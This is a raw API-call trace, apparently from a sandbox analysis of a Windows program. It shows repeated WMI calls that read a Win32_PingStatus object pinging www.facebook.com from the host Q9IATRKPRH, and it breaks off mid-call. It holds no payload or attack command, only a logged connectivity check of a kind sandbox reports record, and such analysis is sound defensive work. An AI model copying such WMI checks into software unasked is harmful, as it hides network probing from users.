WbemDefPath:IWbemPath:GetText (in: This=0x37b828, lFlags=16, puBuffLength=0x572e8e4*=0x0, pszText=0x0 | out: puBuffLength=0x572e8e4*=0xb, pszText=0x0) returned 0x0 [0138.645] WbemDefPath:IWbemPath:GetText (in: This=0x37b828, lFlags=16, puBuffLength=0x572e8e4*=0xb, pszText="0000000000" | out: puBuffLength=0x572e8e4*=0xb, pszText="root\\cimv2") returned 0x0 [0138.645] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x37b898) returned 0x0 [0138.645] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b828, puCount=0x572e920 | out: puCount=0x572e920*=0x2) returned 0x0 [0138.645] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b828, uIndex=0x0, puNameBufLength=0x572e91c*=0x0, pName=0x0 | out: puNameBufLength=0x572e91c*=0x5, pName=0x0) returned 0x0 [0138.646] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b828, uIndex=0x0, puNameBufLength=0x572e91c*=0x5, pName="0000" | out: puNameBufLength=0x572e91c*=0x5, pName="root") returned 0x0 [0138.646] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x37b898, uIndex=0x0, pszName="root") returned 0x0 [0138.646] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b828, uIndex=0x1, puNameBufLength=0x572e91c*=0x0, pName=0x0 | out: puNameBufLength=0x572e91c*=0x6, pName=0x0) returned 0x0 [0138.646] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b828, uIndex=0x1, puNameBufLength=0x572e91c*=0x6, pName="00000" | out: puNameBufLength=0x572e91c*=0x6, pName="cimv2") returned 0x0 [0138.646] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x37b898, uIndex=0x1, pszName="cimv2") returned 0x0 [0138.646] WbemDefPath:IWbemPath:GetClassName (in: This=0x37b898, puBuffLength=0x572e940*=0x0, pszName=0x0 | out: puBuffLength=0x572e940*=0x0, pszName=0x0) returned 0x8004103a [0138.646] WbemDefPath:IWbemPath:SetClassName (This=0x37b898, Name="Win32_PingStatus") returned 0x0 [0138.646] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b898, puCount=0x572e984 | out: puCount=0x572e984*=0x2) returned 0x0 [0138.646] WbemDefPath:IWbemPath:GetText (in: This=0x37b898, lFlags=4, puBuffLength=0x572e980*=0x0, pszText=0x0 | out: puBuffLength=0x572e980*=0x29, pszText=0x0) returned 0x0 [0138.646] WbemDefPath:IWbemPath:GetText (in: This=0x37b898, lFlags=4, puBuffLength=0x572e980*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x572e980*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0138.649] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0138.649] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0138.649] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.649] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0138.649] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0138.649] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.649] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0138.649] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0138.649] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0138.649] SafeArrayGetLBound (in: psa=0x5c78d88, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0138.649] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.649] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.649] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.649] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.649] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.649] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.649] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.649] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.649] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.649] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.649] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.650] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.650] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.650] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.650] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.650] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.650] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.650] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.650] SysStringByteLen (bstr="__PATH") returned 0xc [0138.650] SysStringByteLen (bstr="__PATH") returned 0xc [0138.650] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229dcc0*=0, plFlavor=0x229dcc4*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x229dcc0*=3, plFlavor=0x229dcc4*=64) returned 0x0 [0138.650] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229dcf4*=0, plFlavor=0x229dcf8*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x229dcf4*=8, plFlavor=0x229dcf8*=64) returned 0x0 [0138.650] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.650] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.650] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229dd4c*=0, plFlavor=0x229dd50*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229dd4c*=8, plFlavor=0x229dd50*=64) returned 0x0 [0138.650] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229dd74*=0, plFlavor=0x229dd78*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x229dd74*=8, plFlavor=0x229dd78*=64) returned 0x0 [0138.651] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.651] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.651] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229ddcc*=0, plFlavor=0x229ddd0*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x229ddcc*=8, plFlavor=0x229ddd0*=64) returned 0x0 [0138.651] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.654] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.654] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229dfb8*=0, plFlavor=0x229dfbc*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x229dfb8*=3, plFlavor=0x229dfbc*=64) returned 0x0 [0138.654] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229dfec*=0, plFlavor=0x229dff0*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c68*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x229dfec*=8200, plFlavor=0x229dff0*=64) returned 0x0 [0138.654] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229e020*=0, plFlavor=0x229e024*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x229e020*=8, plFlavor=0x229e024*=64) returned 0x0 [0138.654] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.654] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0138.654] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0138.654] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.655] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0138.655] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0138.655] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.655] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0138.655] SafeArrayGetDim (psa=0x5c78d28) returned 0x1 [0138.655] SafeArrayGetDim (psa=0x5c78d28) returned 0x1 [0138.655] SafeArrayGetLBound (in: psa=0x5c78d28, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0138.655] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.655] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.655] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.655] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.655] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.655] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.655] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.655] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.655] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.655] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.655] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.655] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.656] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.656] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.656] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.656] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.656] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.656] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.656] SysStringByteLen (bstr="__PATH") returned 0xc [0138.656] SysStringByteLen (bstr="__PATH") returned 0xc [0138.656] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229e400*=0, plFlavor=0x229e404*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x229e400*=3, plFlavor=0x229e404*=64) returned 0x0 [0138.656] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229e434*=0, plFlavor=0x229e438*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x229e434*=8, plFlavor=0x229e438*=64) returned 0x0 [0138.656] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.656] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.656] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229e48c*=0, plFlavor=0x229e490*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229e48c*=8, plFlavor=0x229e490*=64) returned 0x0 [0138.657] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229e4b4*=0, plFlavor=0x229e4b8*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x229e4b4*=8, plFlavor=0x229e4b8*=64) returned 0x0 [0138.657] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.657] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.657] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229e50c*=0, plFlavor=0x229e510*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x229e50c*=8, plFlavor=0x229e510*=64) returned 0x0 [0138.704] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.704] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.704] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229e6ec*=0, plFlavor=0x229e6f0*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x229e6ec*=3, plFlavor=0x229e6f0*=64) returned 0x0 [0138.705] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229e720*=0, plFlavor=0x229e724*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x229e720*=8200, plFlavor=0x229e724*=64) returned 0x0 [0138.705] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229e754*=0, plFlavor=0x229e758*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x229e754*=8, plFlavor=0x229e758*=64) returned 0x0 [0138.705] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.705] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.705] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229e754*=8, plFlavor=0x229e758*=64 | out: pVal=0x572ea20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x229e754*=8, plFlavor=0x229e758*=64) returned 0x0 [0138.705] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.705] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.705] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0138.705] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0138.706] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.706] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0138.706] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0138.706] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.706] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0138.706] SafeArrayGetDim (psa=0x5c78c68) returned 0x1 [0138.706] SafeArrayGetDim (psa=0x5c78c68) returned 0x1 [0138.706] SafeArrayGetLBound (in: psa=0x5c78c68, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0138.706] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.706] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.706] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.706] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.706] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.706] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.706] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.706] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.706] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.706] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.707] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.707] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.707] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.707] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.707] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.707] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.707] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.707] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.707] SysStringByteLen (bstr="__PATH") returned 0xc [0138.707] SysStringByteLen (bstr="__PATH") returned 0xc [0138.707] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229ecd8*=0, plFlavor=0x229ecdc*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x229ecd8*=3, plFlavor=0x229ecdc*=64) returned 0x0 [0138.707] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229ed0c*=0, plFlavor=0x229ed10*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x229ed0c*=8, plFlavor=0x229ed10*=64) returned 0x0 [0138.707] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.707] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.708] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229ed64*=0, plFlavor=0x229ed68*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229ed64*=8, plFlavor=0x229ed68*=64) returned 0x0 [0138.708] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229ed8c*=0, plFlavor=0x229ed90*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x229ed8c*=8, plFlavor=0x229ed90*=64) returned 0x0 [0138.708] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.708] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.708] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229ede4*=0, plFlavor=0x229ede8*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x229ede4*=8, plFlavor=0x229ede8*=64) returned 0x0 [0138.708] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.708] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.708] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229efc4*=0, plFlavor=0x229efc8*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x229efc4*=3, plFlavor=0x229efc8*=64) returned 0x0 [0138.708] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229eff8*=0, plFlavor=0x229effc*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d88*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x229eff8*=8200, plFlavor=0x229effc*=64) returned 0x0 [0138.709] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229f02c*=0, plFlavor=0x229f030*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x229f02c*=8, plFlavor=0x229f030*=64) returned 0x0 [0138.709] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.709] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.709] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229f078*=0, plFlavor=0x229f07c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 